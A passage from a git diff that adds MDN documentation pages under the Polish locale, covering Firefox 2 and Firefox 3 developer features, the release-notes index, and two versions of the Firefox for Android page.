+ <li><strong>Mikropodsumowania</strong> pozwalają stworzyć zakładkę, która wyświetla automatycznie aktualizowane informacje z danej strony. Szczególnie przydatne są dla osób monitorujących aukcje, grających na giełdzie itp.</li>
+ <li><strong>Interfejs użytkownika menedżera rozszerzeń</strong> został usprawniony.</li>
+ <li><strong>Menedżer wyszukiwarek</strong> pozwala Ci reorganizować i usuwać silniki wyszukiwania znajdujące się w pasku wyszukiwania.</li>
+ <li><strong>Usprawnienia przeglądania w kartach</strong>, w tym przycisk zamykania na każdej karcie, poprawki algorytmu wyboru karty wyświetlanej po zamknięciu aktywnej i uproszczone ustawienia kart.</li>
+ <li><strong>Automatyczne wykrywanie wyszukiwarek</strong> pozwala wyszukiwarkom, które oferują wtyczki dla paska wyszukiwania Firefoksa zaoferować użytkownikom ich instalację.</li>
+ <li><strong>Podpowiedzi wyszukiwania</strong> pozwalają wyszukiwarkom zaoferować sugestie terminów na podstawie fragmentu tekstu wprowadzonego przez użytkownika w pasku wyszukiwania..</li>
+</ul>
+
+<h3 id="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87" name="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87">Bezpieczeństwo i prywatność</h3>
+
+<ul>
+ <li><strong>Funkcja ochrony przed phishingiem</strong> ostrzega użytkowników, kiedy wyświetlana strona internetowa może stanowić próbę oszustwa.</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Firefox_1.5_dla_programist%c3%b3w">Firefox 1.5 dla programistów</a></li>
+ <li><a href="pl/Firefox_3_dla_programist%c3%b3w">Firefox 3 dla programistów</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "ca": "ca/Firefox_2_per_a_desenvolupadors", "en": "en/Firefox_2_for_developers", "es": "es/Firefox_2_para_desarrolladores", "fr": "fr/Firefox_2_pour_les_d\u00e9veloppeurs", "it": "it/Firefox_2.0_per_Sviluppatori", "ja": "ja/Firefox_2_for_developers", "ko": "ko/Firefox_2_for_developers", "pt": "pt/Firefox_2_para_desenvolvedores", "zh-tw": "zh_tw/Firefox_2_\u6280\u8853\u6587\u4ef6" } ) }}</p>
diff --git a/files/pl/mozilla/firefox/releases/3/index.html b/files/pl/mozilla/firefox/releases/3/index.html
new file mode 100644
index 0000000000..b0552cef09
--- /dev/null
+++ b/files/pl/mozilla/firefox/releases/3/index.html
@@ -0,0 +1,273 @@
+---
+title: Firefox 3 for developers
+slug: Mozilla/Firefox/Releases/3
+tags:
+ - Firefox 3
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Firefox/Releases/3
+---
+<div>{{FirefoxSidebar}}</div><p>If you're a developer trying to get a handle on all the new features in Firefox 3, this is the perfect place to start. This article provides a list of the new articles covering features added to Firefox 3. While it doesn't necessarily cover every little change, it will help you learn about the major improvements.</p>
+
+<h2 id="New_developer_features_in_Firefox_3" name="New_developer_features_in_Firefox_3">New developer features in Firefox 3</h2>
+
+<h3 id="For_web_site_and_application_developers" name="For_web_site_and_application_developers">For web site and application developers</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Updating_web_applications_for_Firefox_3" title="en-US/docs/Updating_web_applications_for_Firefox_3">Updating web applications for Firefox 3</a></dt>
+ <dd>Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="en-US/docs/Online_and_offline_events">Online and offline events</a></dt>
+ <dd>Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="en-US/docs/Web-based_protocol_handlers">Web-based protocol handlers</a></dt>
+ <dd>You can now register web applications as protocol handlers using the <code>navigator.registerProtocolHandler()</code> method.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="en-US/docs/Drawing_text_using_a_canvas">Drawing text using a canvas</a></dt>
+ <dd>You can now draw text in a canvas using a non-standardized API supported by Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Canvas_tutorial/Transformations#Transforms" title="en-US/docs/Canvas_tutorial/Transformations#Transforms">Transform support for canvas</a></dt>
+ <dd>Firefox now supports the <code>transform()</code> and <code>setTransform()</code> methods on canvases.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_microformats" title="en-US/docs/Using_microformats">Using microformats</a></dt>
+ <dd>Firefox now has APIs for working with microformats.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Drag_and_drop_events" title="en-US/docs/Drag_and_drop_events">Drag and drop events</a></dt>
+ <dd>Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Focus_management_in_HTML" title="en-US/docs/Focus_management_in_HTML">Focus management in HTML</a></dt>
+ <dd>The new HTML 5 <code>activeElement</code> and <code>hasFocus</code> attributes are supported.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Offline_resources_in_Firefox" title="en-US/docs/Offline_resources_in_Firefox">Offline resources in Firefox</a></dt>
+ <dd>Firefox now lets web applications request that resources be cached to allow the application to be used while offline.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS_improvements_in_Firefox_3" title="en-US/docs/CSS_improvements_in_Firefox_3">CSS improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 features a number of improvements in its CSS support.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM_improvements_in_Firefox_3" title="en-US/docs/DOM_improvements_in_Firefox_3">DOM improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/New_in_JavaScript_1.8" title="en-US/docs/New_in_JavaScript_1.8">JavaScript 1.8 support</a></dt>
+ <dd>Firefox 3 offers JavaScript 1.8.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT support</a></dt>
+ <dd>Firefox 3 provides support for a substantial subset of the <a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT</a> extensions to <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/SVG_improvements_in_Firefox_3" title="en-US/docs/SVG_improvements_in_Firefox_3">SVG improvements in Firefox 3</a></dt>
+ <dd>SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Animated_PNG_graphics" title="en-US/docs/Animated_PNG_graphics">Animated PNG graphics</a></dt>
+ <dd>Firefox 3 supports the animated PNG (APNG) image format.</dd>
+</dl>
+
+<h3 id="For_XUL_and_extension_developers" name="For_XUL_and_extension_developers">For XUL and extension developers</h3>
+
+<h4 id="Notable_changes_and_improvements" name="Notable_changes_and_improvements">Notable changes and improvements</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Updating_extensions_for_Firefox_3" title="en-US/docs/Updating_extensions_for_Firefox_3">Updating extensions for Firefox 3</a></dt>
+ <dd>Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XUL_improvements_in_Firefox_3" title="en-US/docs/XUL_improvements_in_Firefox_3">XUL improvements in Firefox 3</a></dt>
+ <dd>Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Templates_in_Firefox_3" title="en-US/docs/Templates_in_Firefox_3">Templates in Firefox 3</a></dt>
+ <dd>Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates" title="en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates">Securing updates</a></dt>
+ <dd>In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at <a class="external" href="http://addons.mozilla.org">AMO</a> automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Places_Developer_Guide" title="en-US/docs/Places_migration_guide">Places migration guide</a></dt>
+ <dd>An article about how to update an existing extension to use the Places API.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Download_Manager_improvements_in_Firefox_3" title="en-US/docs/Download_Manager_improvements_in_Firefox_3">Download Manager improvements in Firefox 3</a></dt>
+ <dd>The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XPCOM_Interface_Reference/Using_nsILoginManager" title="en-US/docs/Using_nsILoginManager">Using nsILoginManager</a></dt>
+ <dd>The Password Manager has been replaced by the new Login Manager.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XBL/XBL_1.0_Reference/Elements#binding" title="en-US/docs/XBL/XBL_1.0_Reference/Elements#binding">Embedding XBL bindings</a></dt>
+ <dd>You can now use the <code>data:</code> URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Localizing_extension_descriptions" title="en-US/docs/Localizing_extension_descriptions">Localizing extension descriptions</a></dt>
+ <dd>Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Localization_and_Plurals" title="en-US/docs/Localization_and_Plurals">Localization and Plurals</a></dt>
+ <dd>Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Theme_changes_in_Firefox_3" title="en-US/docs/Theme_changes_in_Firefox_3">Theme changes in Firefox 3</a></dt>
+ <dd>Notes and information of use to people who want to create themes for Firefox 3.</dd>
+</dl>
+
+<h4 id="New_components_and_functionality" name="New_components_and_functionality">New components and functionality</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Toolkit_API/FUEL" title="en-US/docs/FUEL">FUEL Library</a></dt>
+ <dd>FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a></dt>
+ <dd>The history and bookmarks APIs have been completely replaced by the new <a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a> API.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIIdleService" title="en-US/docs/nsIIdleService">Idle service</a></dt>
+ <dd>Firefox 3 offers the new {{Interface("nsIIdleService")}} interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIZipWriter" title="en-US/docs/nsIZipWriter">ZIP writer</a></dt>
+ <dd>The new {{Interface("nsIZipWriter")}} interface lets extensions create ZIP archives.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Full_page_zoom" title="en-US/docs/Full_page_zoom">Full page zoom</a></dt>
+ <dd>Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Interfacing_with_the_XPCOM_cycle_collector" title="en-US/docs/Interfacing_with_the_XPCOM_cycle_collector">Interfacing with the XPCOM cycle collector</a></dt>
+ <dd>XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/The_Thread_Manager" title="en-US/docs/The_Thread_Manager">The Thread Manager</a></dt>
+ <dd>Firefox 3 provides the new {{Interface("nsIThreadManager")}} interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/JavaScript_code_modules" title="en-US/docs/JavaScript_modules">JavaScript modules</a></dt>
+ <dd>Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/nsIJSON" title="en-US/docs/nsIJSON">The <code>nsIJSON</code> interface</a></dt>
+ <dd>Firefox 3 offers the new {{Interface("nsIJSON")}} interface, which offers high-performance encoding and decoding of <a href="/en-US/docs/JSON" title="en-US/docs/JSON">JSON</a> strings.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/XPCOM_Interface_Reference/nsIParentalControlsService" title="en-US/docs/nsIParentalControlsService">The nsIParentalControlsService interface</a></dt>
+ <dd>Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_content_preferences" title="en-US/docs/Using_content_preferences">Using content preferences</a></dt>
+ <dd>Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Monitoring_plugins" title="en-US/docs/Monitoring_plugins">Plug-in Monitoring</a></dt>
+ <dd>A new component of the plugin system is now available to measure how long it takes plugins (e.g., Macromedia Flash) to execute their calls.</dd>
+</dl>
+
+<h4 id="Fixed_bugs" name="Fixed_bugs">Fixed bugs</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Notable_bugs_fixed_in_Firefox_3" title="en-US/docs/Notable_bugs_fixed_in_Firefox_3">Notable bugs fixed in Firefox 3</a></dt>
+ <dd>This article provides information about bugs that have been fixed in Firefox 3.</dd>
+</dl>
+
+<h2 id="New_features_for_end_users" name="New_features_for_end_users">New features for end users</h2>
+
+<h3 id="User_experience" name="User_experience">User experience</h3>
+
+<ul>
+ <li><strong>Easier password management.</strong> An information bar at the top of the browser window now appears to allow you to save passwords after a successful login.</li>
+ <li><strong>Simplified add-on installation.</strong> You can now install extensions from third-party download sites in fewer clicks, thanks to the removal of the add-on download site whitelist.</li>
+ <li><strong>New Download Manager.</strong> The download manager makes it easier to locate your downloaded files.</li>
+ <li><strong>Resumable downloads.</strong> You can now resume downloads after restarting the browser or resetting your network connection.</li>
+ <li><strong>Full page zoom.</strong> From the View menu and using keyboard shortcuts, you can now zoom in and out on the content of entire pages -- this scales not just the text but the layout and images as well.</li>
+ <li><strong>Tab scrolling and quickmenu.</strong> Tabs are easier to locate with the new tab scrolling and tab quickmenu features.</li>
+ <li><strong>Save what you were doing.</strong> Firefox 3 prompts you to see if you'd like to save your current tabs when you exit Firefox.</li>
+ <li><strong>Optimized Open in Tabs behavior.</strong> Opening a folder of bookmarks in tabs now appends the new tabs instead of replacing the existing ones.</li>
+ <li><strong>Easier to resize location and search bars.</strong> You can now easily resize the location and search bars using a simple resize handle between them.</li>
+ <li><strong>Text selection improvements.</strong> You can now select multiple ranges of text using the Control (Command on Macintosh) key. Double-clicking and dragging now selects in "word-by-word" mode. Triple-clicking selects an entire paragraph.</li>
+ <li><strong>Find toolbar.</strong> The Find toolbar now opens with the current selection.</li>
+ <li><strong>Plugin management.</strong> Users can now disable individual plugins in the Add-on Manager.</li>
+ <li><strong>Integration with Windows Vista.</strong> Firefox's menus now display using Vista's native theme.</li>
+ <li><strong>Integration with Mac OS X.</strong> Firefox now supports <a class="external" href="http://growl.info/">Growl</a> for notifications of completed downloads and available updates.</li>
+ <li><strong>Star button.</strong> The new star button in the location bar lets you quickly add a new bookmark with a single click. A second click lets you file and tag your new bookmark.</li>
+ <li><strong>Tags.</strong> You can now associate keywords with your bookmarks to easily sort them by topic.</li>
+ <li><strong>Location bar and auto-complete.</strong> Type the title or tag of a page in the location bar to quickly find the site you were looking for in your history and bookmarks. Favicons, bookmark, and tag indicators help you see where the results are coming from.</li>
+ <li><strong>Smart Bookmarks folder.</strong> Firefox's new Smart Bookmarks folder offers quick access to your recently bookmarked and tagged places, as well as pages you visit frequently.</li>
+ <li><strong>Bookmarks and History Organizer.</strong> The new unified bookmarks and history organizer lets you easily search your history and bookmarks with multiple views and smart folders for saving your frequent searches.</li>
+ <li><strong>Web-based protocol handlers.</strong> Web applications, such as your favorite web mail provider, can now be used instead of desktop applications for handling <code>mailto:</code> links from other sites. Similar support is provided for other protocols as well. (Note that web applications do have to register themselves with Firefox before this will work.)</li>
+ <li><strong>Easy to use Download Actions.</strong> A new Applications preferences pane provides an improved user interface for configuring handlers for various file types and protocol schemes.</li>
+ <li><strong>Improved look and feel.</strong> Graphics and font handling have been improved to make web sites look better on your screen, including sharper text rendering and better support for fonts with ligatures and complex scripts. In addition, Mac and Linux (Gnome) users will find that Firefox feels more like a native application for their platform than ever, with a new, native, look and feel.</li>
+ <li><strong>Color management support.</strong> By setting the <code>gfx.color_management.enabled</code> preference in <code>{{mediawiki.external('about:config')}}</code>, you can ask Firefox to use the color profiles embedded in images to adjust the colors to match your computer's display.</li>
+ <li><strong>Offline support.</strong> Web applications can take advantage of new features to support being used even when you don't have an Internet connection.</li>
+</ul>
+
+<h3 id="Security_and_privacy" name="Security_and_privacy">Security and privacy</h3>
+
+<ul>
+ <li><strong>One-click site information.</strong> Want to know more about the site you're visiting? Click the site's icon in the location bar to see who owns it. Identify information is prominently displayed and easier than ever to understand.</li>
+ <li><strong>Malware protection.</strong> Firefox 3 warns you if you arrive at a web site that is known to install viruses, spyware, trojans, or other dangerous software (known as malware). You can see what the warning looks like by <a class="link-https" href="https://www.mozilla.com/firefox/its-an-attack.html">clicking here</a>.</li>
+ <li><strong>Web forgery protection enhanced.</strong> Now when you visit a page that's suspected of being a forgery, you're shown a special page instead of the contents of the page with a warning. <a class="link-https" href="https://www.mozilla.com/firefox/its-a-trap.html">Click here</a> to see what it looks like.</li>
+ <li><strong>Easier to understand SSL errors.</strong> The errors presented when an invalid SSL certificate is encountered have been clarified to make it easier to understand what the problem is.</li>
+ <li><strong>Out-of-date add-on protection.</strong> Firefox 3 now automatically checks add-on and plugin versions and disables older, insecure versions.</li>
+ <li><strong>Secure add-on updates.</strong> Add-on update security has been improved by disallowing add-ons that use an insecure update mechanism.</li>
+ <li><strong>Anti-virus integration.</strong> Firefox 3 now informs anti-virus software when executable files are downloaded.</li>
+ <li><strong>Windows Vista parental controls support.</strong> Firefox 3 supports the Vista system-wide parental control setting for disabling file downloads.</li>
+</ul>
+
+<h3 id="Performance" name="Performance">Performance</h3>
+
+<ul>
+ <li><strong>Reliability.</strong> Firefox 3 now stores bookmarks, history, cookies, and preferences in a transactionally secure database format. This means your data is protected against loss even if your system crashes.</li>
+ <li><strong>Speed.</strong> Firefox 3 has gotten a performance boost by completely replacing the part of the software that handles drawing to your screen, as well as to how page layout work is handled.</li>
+ <li><strong>Memory use reduced.</strong> Firefox 3 is more memory efficient than ever, with over 300 memory "leak" bugs fixed and new features to help automatically locate and dispose of leaked memory blocks.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<div>{{Firefox_for_developers('2')}}</div>
diff --git a/files/pl/mozilla/firefox/releases/index.html b/files/pl/mozilla/firefox/releases/index.html
new file mode 100644
index 0000000000..e5af49da21
--- /dev/null
+++ b/files/pl/mozilla/firefox/releases/index.html
@@ -0,0 +1,12 @@
+---
+title: Firefox developer release notes
+slug: Mozilla/Firefox/Releases
+tags:
+ - Firefox
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Firefox/Releases
+---
+<div>{{FirefoxSidebar}}</div><p>This page provides links to the "Firefox X for developers" articles for each Firefox release. These notes let you see what features were added and bugs eliminated in each version of Firefox.</p>
+
+<div class="multiColumnList">{{ListSubpages("",1,0,1)}}</div>
diff --git a/files/pl/mozilla/firefox_for_android/index.html b/files/pl/mozilla/firefox_for_android/index.html
new file mode 100644
index 0000000000..a7b9607ff3
--- /dev/null
+++ b/files/pl/mozilla/firefox_for_android/index.html
@@ -0,0 +1,64 @@
+---
+title: Firefox for Android
+slug: Mozilla/Firefox_for_Android
+translation_of: Mozilla/Firefox_for_Android
+---
+<div class="twocolumns">
+<p>For more and more people mobile devices are the primary way, or even the only way, to access the Web.<a class="link-https" href="https://www.mozilla.org/en-US/mobile/"> Firefox for Android</a> (codenamed Fennec) is an open, hackable, standards-based browser, just like the desktop Firefox.</p>
+</div>
+
+<p>Firefox for Android constructs its user interface from native Android widgets instead of XUL: this greatly improves performance, especially startup time, and memory consumption.</p>
+
+<h2 id="Contribute_to_Firefox_for_Android">Contribute to Firefox for Android</h2>
+
+<p>The main starting point for information about the Firefox for Android project itself is the project <a class="link-https" href="https://wiki.mozilla.org/Mobile/Get_Involved">"Get Involved" page</a>.</p>
+
+<p>You can help us to create and improve Firefox for Android:</p>
+
+<ul>
+ <li>Help us with <a href="/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">compatibility testing</a></li>
+ <li>Subscribe to the <a href="https://mail.mozilla.org/listinfo/mobile-firefox-dev">mobile-firefox-dev mailing list</a></li>
+ <li>Contact the team via <a href="https://chat.mozilla.org/#/room/#fx-android-community:mozilla.org">Matrix </a></li>
+ <li>Keep up to date with project news on <a href="https://fennecnightly.tumblr.com/">Tumblr</a> and <a class="link-https" href="https://twitter.com/FennecNightly">Twitter</a></li>
+ <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android">Build and hack on Firefox for Android</a> (Fennec)</li>
+</ul>
+
+<h2 id="Develop_for_the_mobile_web">Develop for the mobile web</h2>
+
+<p>We've started putting together a guide to <a href="/en-US/docs/Web/Guide/Mobile">designing web sites for mobile devices</a>.</p>
+
+<p>With Firefox for Android, you've got access a number of APIs that expose the underlying capabilities of the device, closing the gap between the Web and native applications:</p>
+
+<ul>
+ <li><a class="external" href="/en-US/docs/Web/API/Battery_Status_API">Battery</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/Camera_API" title="Using the Camera API">Camera</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/Telephony" title="Introduction to WebTelephony">WebTelephony</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/Mobile_Messaging_API/Introduction_to_Mobile_Message_API" title="Introduction to WebSMS">Mobile Messaging API</a></li>
+ <li><a href="/en-US/docs/Web/API/Geolocation/Using_geolocation" title="Using geolocation">Geolocation</a></li>
+ <li><a href="/en-US/docs/Web/API/Detecting_device_orientation">Orientation</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/Web_Activities" title="Web Activities">Web Activities</a></li>
+</ul>
+
+<p>To test your web site on Firefox for Android, you can <a class="link-https" href="https://www.mozilla.org/en-US/mobile/">install it on an Android device</a> or <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">run it on your desktop using the Android Emulator</a>.</p>
+
+<h2 id="Build_mobile_add-ons">Build mobile add-ons</h2>
+
+<p>Firefox for Android supports add-ons using the same WebExtensions system as desktop Firefox.</p>
+
+<p>See <a href="https://extensionworkshop.com/documentation/develop/developing-extensions-for-firefox-for-android/">Developing extensions for Firefox for Android</a>.</p>
+
+<h2 id="Get_help_with_Firefox_for_Android">Get help with Firefox for Android</h2>
+
+<p>Documentation and tutorials for using and troubleshooting Firefox for Android are available on the <a class="external" href="https://support.mozilla.org/mobile">Mozilla Support website</a>.</p>
+
+<h2 id="Install_Firefox_for_Android">Install Firefox for Android</h2>
+
+<p>If you don't already have Firefox installed on your Android device, you can do so at the <a href="https://www.mozilla.org/en-US/firefox/android/">Google Play store</a>. See the SUMO article <a href="https://support.mozilla.org/en-US/kb/install-firefox-android-device-using-google-play">Install Firefox on an Android device using Google Play</a> for detailed instructions.</p>
+
+<h3 id="Alternate_installs">Alternate installs</h3>
+
+<p>There are some unofficial builds and specialized installations for devices which don't officially support Firefox for Android. Here are some helpful links for these (keep in mind they are <strong>not supported by Mozilla</strong> and <strong>you are using them at your own risk!</strong>).</p>
+
+<ul>
+ <li><a href="https://support.mozilla.org/en-US/kb/installing-firefox-android-amazon-kindle-fire">Installing Firefox for Android on Amazon Kindle Fire</a></li>
+</ul>
diff --git a/files/pl/mozilla/firefox_for_android_clone/index.html b/files/pl/mozilla/firefox_for_android_clone/index.html
new file mode 100644
index 0000000000..0fa7d42129
--- /dev/null
+++ b/files/pl/mozilla/firefox_for_android_clone/index.html
@@ -0,0 +1,66 @@
+---
+title: Firefox for Android
+slug: Mozilla/Firefox_for_Android_clone
+tags:
+ - Android
+ - Fennec
+ - Firefox
+ - Mobile
+---
+<p>For more and more people mobile devices are the primary way, or even the only way, to access the Web.<a class="link-https" href="https://www.mozilla.org/en-US/mobile/"> Firefox for Android</a> (codenamed Fennec) is an open, hackable, standards-based browser, just like the desktop Firefox.</p>
+
+<p>Firefox for Android constructs its user interface from native Android widgets instead of XUL: this greatly improves performance, especially startup time, and memory consumption.</p>
+
+<h2 id="Contribute_to_Firefox_for_Android">Contribute to Firefox for Android</h2>
+
+<p>The main starting point for information about the Firefox for Android project itself is the project <a class="link-https" href="https://wiki.mozilla.org/Mobile/Get_Involved">"Get Involved" page</a>.</p>
+
+<p>You can help us to create and improve Firefox for Android:</p>
+
+<ul>
+ <li>Help us with <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">compatibility testing</a></li>
+ <li>Subscribe to the <a href="https://mail.mozilla.org/listinfo/mobile-firefox-dev">mobile-firefox-dev mailing list</a></li>
+ <li>Contact the team over <a class="link-irc" href="irc://irc.mozilla.org/#mobile">IRC</a></li>
+ <li>Join in our <a class="link-https" href="https://wiki.mozilla.org/Mobile/Notes">Wednesday development meeting</a></li>
+ <li>Keep up to date with project news on <a class="external" href="http://planet.firefox.com/mobile/">Planet Firefox Mobile</a>, <a href="http://fennecnightly.tumblr.com/">Tumblr</a> and <a class="link-https" href="https://twitter.com/FennecNightly" title="https://twitter.com/#!/mozmobile">Twitter</a></li>
+ <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android" title="https://wiki.mozilla.org/Mobile/Fennec/Android">Build and hack on Firefox for Android</a> (Fennec)</li>
+</ul>
+
+<h2 id="Develop_for_the_mobile_web">Develop for the mobile web</h2>
+
+<p>We've started putting together a guide to <a href="/En/Mobile" title="En/Mobile">designing web sites for mobile devices</a>.</p>
+
+<p>With Firefox for Android, you've got access a number of APIs that expose the underlying capabilities of the device, closing the gap between the Web and native applications:</p>
+
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/" title="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Battery</a></li>
+ <li><a href="/en/DOM/Using_the_Camera_API" title="Using the Camera API">Camera</a></li>
+ <li><a href="/en/API/WebTelephony/Introduction_to_WebTelephony" title="Introduction to WebTelephony">WebTelephony</a></li>
+ <li><a href="/en/API/WebSMS/Introduction_to_WebSMS" title="Introduction to WebSMS">WebSMS</a></li>
+ <li><a href="/En/Using_geolocation" title="Using geolocation">Geolocation</a></li>
+ <li><a href="/en/Detecting_device_orientation" title="https://developer.mozilla.org/en/detecting_device_orientation">Orientation</a></li>
+ <li><a href="/en/WebAPI/Web_Activities" title="Web Activities">Web Activities</a></li>
+</ul>
+
+<p>To test your web site on Firefox for Android, you can <a class="link-https" href="https://www.mozilla.org/en-US/mobile/">install it on an Android device</a> or <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">run it on your desktop using the Android Emulator</a>.</p>
+
+<h2 id="Build_mobile_add-ons">Build mobile add-ons</h2>
+
+<p><a href="/en/Extensions/Mobile" title="en/Extensions/Firefox_on_Android">Firefox for Android supports add-ons</a> using the exact same <a href="/en/Extensions" title="en/Extensions">extension system</a> used by all other Gecko-based applications. We did not invent a new add-on system. This means that building an add-on for Firefox on Android is the <a href="/en/Building_an_Extension" title="en/Building_an_Extension">same process</a> that would be used for desktop Firefox. Add-ons that work with desktop Firefox <strong>do not</strong> automatically work in Firefox on Android. The user interfaces are just too different.</p>
+
+<div class="note">Firefox on Android has a unique application identifier which must be used in <code>install.rdf</code>. The identifier is <code>{aa3c5121-dab2-40e2-81ca-7ea25febc110}</code></div>
+
+<p>Both classic restart-required and newer <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped_extensions">restartless</a> add-on approaches are supported. Using the restartless approach is preferred whenever possible because the user experience is far superior to forcing an application restart when installing or removing an add-on.</p>
+
+<h3 id="Quick_Overview">Quick Overview</h3>
+
+<ul>
+ <li>There is no visible XUL in the UI, so using overlays to try to add or change UI is useless.</li>
+ <li>Internal code and objects, like <code>gBrowser</code>, do not exist. Look at the Firefox on Android <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js</code></a> file to learn about the internals. Much of the same fundamental functionality exists.</li>
